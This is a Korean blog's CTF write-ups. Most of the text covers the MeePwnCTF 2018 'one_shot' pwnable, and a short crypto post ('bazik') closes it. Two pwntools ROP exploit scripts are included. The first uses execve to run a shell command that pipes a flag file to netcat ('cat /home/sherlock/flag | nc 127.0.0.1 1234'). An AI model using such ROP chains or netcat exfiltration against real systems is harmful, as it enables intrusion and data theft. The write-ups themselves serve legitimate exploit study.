이렇게 문제를 풀 수 있는데, CTF 당시에는 가젯들을 이용해서 "/bin/sh"라는 값을 원하는 장소에 쓰는데 애를 먹었다. CTF가 끝나고 나서 다른 팀의 writeup을 보고 좀 더 깔끔하고 편하게 원하는 값을 복사해서 쓰는 payload가 있길래 참고해서 더 쉽게 exploit하는 법을 적는다.


처음에는 buffer는 의미가 없고, 뒤의 ret만 조작해서 ROP하려했는데, buffer에 입력한 값을 복사해서 재활용할 수 있었다.



위의 코드를 보면 i변수에 v5의 주소를 넣고, buffer의 주소를 증가시키며 그 값을 v5에 v2 byte만큼 복사하는 것을 볼 수 있다. 이를 다시 어셈블리어로 보면 아래와 같다.



rdi가 있는 주소의 1바이트 값을 rsi에 복사하는 것을 볼 수 있다. 이를 반복하는데, eax만큼 반복하게 되어, 결국 eaxbyte만큼 rdi에서 rsi로 복사되게 된다.


이걸 이용해서 buffer에 "/bin/sh" 및 "-c", "nc IP PORT" 등을 쓰면 되고, 그 값을 원하는 주소에 복사하여 exploit에 활용할 수 있다.


#!/usr/bin/env python
from pwn import *

conn = process("./one_shot")

check = 0x8a919ff0

alarm_plt = 0x400520
alarm_got = 0x601020
puts_plt = 0x400510

mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
copy_rdi2rsi = 0x400684 # copies eax bytes from rdi to rsi
						# [rbp-0x20] and [rbp-0x1C] need to be equal (or null)

pop_rbp = 0x00400774 # pop rbp ; ret
pop_rdi = 0x00400843 # pop rdi ; ret  ;  (1 found)
pop_rsi_r15 = 0x400841 # pop rsi ; pop r15 ; ret

len_addr = 0x40070e # contains 0x234
trash_rbp = 0x601100 # random writable addr in a nulled area
copy_buffer_addr = 0x601600 # where our copied buffer will be

cmd = "cat /home/sherlock/flag | nc 127.0.0.1 1234"

### check pass
payload =  p32(check)
# execve("/bin/sh", )
payload += "/bin/sh\x00"
payload += "-c\x00"
payload += cmd
payload += "\x00"*10

#argv_address
argv_addr = copy_buffer_addr + len(payload)-4

# argv = ["/bin/sh", "-c", cmd, 0]
payload += p64(copy_buffer_addr) 	# "/bin/sh"
payload += p64(copy_buffer_addr+8) 	# "-c"
payload += p64(copy_buffer_addr+11) # cmd
payload += p64(0)					# NULL

# execve syscall num
execve_syscall_num_addr = copy_buffer_addr + len(payload)-4
payload += p64(59)
payload += "\x00"*(0x80-len(payload))

# now buffer is end and copy buffer
payload += p64(len_addr+0xc) # [rbp-0xc] is 0x234
payload += p64(mov_eax)  	 # eax = 0x234
payload += p64(0xdeadbeef)   # rbx
payload += p64(trash_rbp)   # rbp

payload += p64(pop_rsi_r15)	 # set rsi to new_buffer_address
payload += p64(copy_buffer_addr)
payload += p64(0xdeadbeef) 	 # r15
payload += p64(copy_rdi2rsi)
payload += p64(0xdeadbeef)  # rbx
payload += p64(trash_rbp)	# rbp

# make alarm call to syscall
# now rax value is 1
payload += p64(pop_rdi)	 # set rdi to (alarm+5) 1byte value   <alarm+5>:	syscall
payload += p64(0x4005e3) # contains byte 0xe5
payload += p64(pop_rsi_r15)	 # set rsi to new_buffer_address
payload += p64(alarm_got)
payload += p64(0xdeadbeef) 	 # r15
payload += p64(copy_rdi2rsi)
payload += p64(0xdeadbeef)  # rbx
payload += p64(trash_rbp)	# rbp

# now alarm call is syscall
# call execve!
payload += p64(pop_rbp)	 
payload += p64(execve_syscall_num_addr + 0xc)
payload += p64(mov_eax)	 # eax = 59
payload += p64(0xdeadbeef)   # rbx
payload += p64(trash_rbp)   # rbp

payload += p64(pop_rbp)	 
payload += p64(execve_syscall_num_addr + 0xc)
payload += p64(mov_eax)	 # eax = 59
payload += p64(0)   # rbx
payload += p64(trash_rbp)   # rbp

pop_r12_15 = 0x40083c   # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
register_set_and_call_func   = 0x400820	# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)

#set
payload += p64(pop_r12_15)
payload += p64(alarm_got)	# syscall set! r12=syscall_address & rbx=0 -> call qword [r12+rbx*8]
payload += p64(0)			# r13 -> rdx = 0
payload += p64(argv_addr)	# r14 -> rsi = argv_addr
payload += p64(copy_buffer_addr)	# r15 -> rdi = "/bin/sh\x00"
payload += p64(register_set_and_call_func)

log.info("payload_len : %x <= 0x234" % len(payload))

conn.send(payload)
conn.interactive()


위 파이썬 익스코드를 실행하면 로컬환경에 있는 flag를 획득할 수 있다.


*후기


처음에는 문제 이름이 one_shot이길래, oneshot_gadget을 사용하란건 줄 알았다. 그래서 leak을 하기 위해 엄청나게 많은 시간을 투자하였으나, 무리였음을 깨닫게되었다..


뭐 그래도 reverse shell을 CTF에서 사용하는 걸 본게 처음이라, 나중을 위한 큰 도움이 될거라 생각한다.


문제는 내 서버가 없어서, 다음에 이런 문제가 나오면 어디서 쉘을 받느냐는 것이지만 ㅡㅡ;

'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09


몇일전에 있었던 MeePwnCTF에 나온 one_shot문제이다. 디스어셈블링해보면 프로그램 실행 후 

read함수로 사용자로부터 0x234만큼 받고, stdin, stdout, stderr 모두 close()로 닫아버린다.


이것때문에 평범하게 쉘을 못띄운다 ㅡㅡ; 

그래서 리버스쉘을 사용해야하는데... 나는 그것도 모르고 execve("/bin/sh", 0, 0)을 ROP로 실행시켰는데!!!

왜 쉘이 안띄워지는것이냐!! 하면서 미쳐버리는줄 알았다... 하;



strace로 추적해본 결과... execve("/bin/sh", 0, 0)가 실행되긴한다 ㅡㅡ; 그러나 stdin, stdout이 죽어버렸는데 뭘 할수 있을꼬...


어쨋든 그러한 것이고...

혹시나해서 one_shot파일을 patch하여 stdin,stdout이 닫히지않았을때는 과연 내 payload가 먹히는지 실험해보았다.



0,1,2를 닫게하는게 원래 코드인데, 대충 수정해서 0,1,2는 안닫히게 해보았다.



우왕... 너무 잘되는것... ㅂㄷㅂㄷ


다음 포스팅은 리버스쉘을 사용해서 flag를 획득하는 것을 해보겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
from pwn import *
 
elf = ELF("./one_shot_patch")
conn = process("./one_shot_patch")
 
check = 0x8a919ff0
 
exit_got = 0x601038
alarm_plt = 0x400520 
 
rdi_store_and_plus4 = 0x400665    # mov     [rbp+var_18], rdi
mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
store_bss = 0x40079C #       mov     [rbp-4], eax
 
pop_rbp = 0x00400774
pop_rdi = 0x00400843 #pop rdi ; ret  ;  (1 found)
ret = 0x0040085c
 
ecx_set = 0x04006D8 #   movsx   ecx, [rbp+var_1D]
 
#0x004004ea: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xFFFFFFD0 ; add rsp, 0x08 ; ret  ;  (1 found)
add_raxad = 0x004004ea
 
### check pass & exit@got overwrite => ret
payload =  p32(check)
payload += "\x00"*0x7c + p64(elf.bss()+200+0x18)
payload += p64(pop_rdi)
payload += p64(ret)
payload += p64(rdi_store_and_plus4)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+200+0x0c)
payload += p64(mov_eax)
payload += p64(0xdeadbeef)
payload += p64(exit_got + 0x4)
payload += p64(store_bss)
 
###make syscall
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x18)
payload += p64(pop_rdi)
payload += p64(0x60110e)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x110+0x18)
payload += p64(pop_rdi)
payload += p64(elf.got['read']+0x7B)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x1D)
payload += p64(ecx_set)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+0x110+0x0c)
payload += p64(mov_eax)
payload += p64(0# ebx
payload += p64(elf.bss()+0x40+0x4#tmp
payload += p64(add_raxad)
payload += p64(0xdeadbeef)
#now close is syscall!
 
binsh00 = "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
 
payload += p64(pop_rdi)
payload += binsh00
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x44+0x4)
payload += p64(pop_rdi)
payload += binsh00[4:]+"\x00\x00\x00\x00"
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
 
pop_r12_15 = 0x0040083c #0x0040083c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
mov_rdx = 0x00400820    #mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
 
payload += p64(pop_rdi)
payload += p64(59)
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(pop_rbp)
payload += p64(1)
payload += p64(pop_r12_15)
payload += p64(elf.got['read'])
payload += p64(0)
payload += p64(0)
payload += p64(elf.bss()+0x40)
payload += p64(mov_rdx)
 
log.info("payload_len : %d <= 564" % len(payload))
 
conn.send(payload)
conn.interactive()
cs






 

'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09
[34C3 CTF 2017] readme_revenge  (0) 2018.07.02

[MeePwnCTF 2018] bazik

2018. 7. 25. 02:30

저번주에 하도 바빠서...(핑계지만??? 핑계다.)


MeePwnCTF를 끝내고 나서 다시 한번 문제를 살펴보는게 힘들었다...

그래서 이번 주말에 고향내려갔다가 조~~금 여유가 생겨서 다시 보게 되어서 이렇게 포스팅을 쓴다!



basic challenge라고 한다.


basic이라기에, 굉장히 쉬운 crypto 문제일 줄 알았지만;;

분석이 부족하였고, 포너블문제에 정신이 팔려있어서;; 끝나고 나서 writeup을 보고 다시한번 풀어보려고 한다.


문제서버가 아직도 열려있어서 다시 한번 풀어볼 수 있었다.


먼저 문제서버에 접속하면 아래와 같다.





Test the OTP를 선택하면

otp값과 encrypted dat와 그 decrypted dat인 평문을 주는데, 평문 형식은 "Your OTP for transaction #731337 in ABCXYZ Bank is XXXXXXXX" 형식이다.


그래서 평문이 조금씩 바뀌므로 Coppersmith’s attack 중 Stereotyped Messages Attack로 풀 수 있다.

관련 wrtieup은 여기에 있다.


Writeup : https://ctftime.org/task/6293


직접해보려다가 귀찮아서 포기하였다 ㅎㅎ;;

p4 팀은 Stereotyped Messages Attack으로 풀었고, PLUS팀은 e값이 작고 평문의 길이가 짧기때문에 암호문에 n을 계속 더하여 세제곱근이 나올때까지하여, 세제곱근이 나오면 정답이다! 라는 식으로 풀었다... 매우 브루트포싱...




sage 사용 : http://math3.skku.ac.kr/home/myriabreak/







'Write-up > Crypto' 카테고리의 다른 글

[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16
[MeePwnCTF 2018] ezchallz  (0) 2018.07.16

+ Recent posts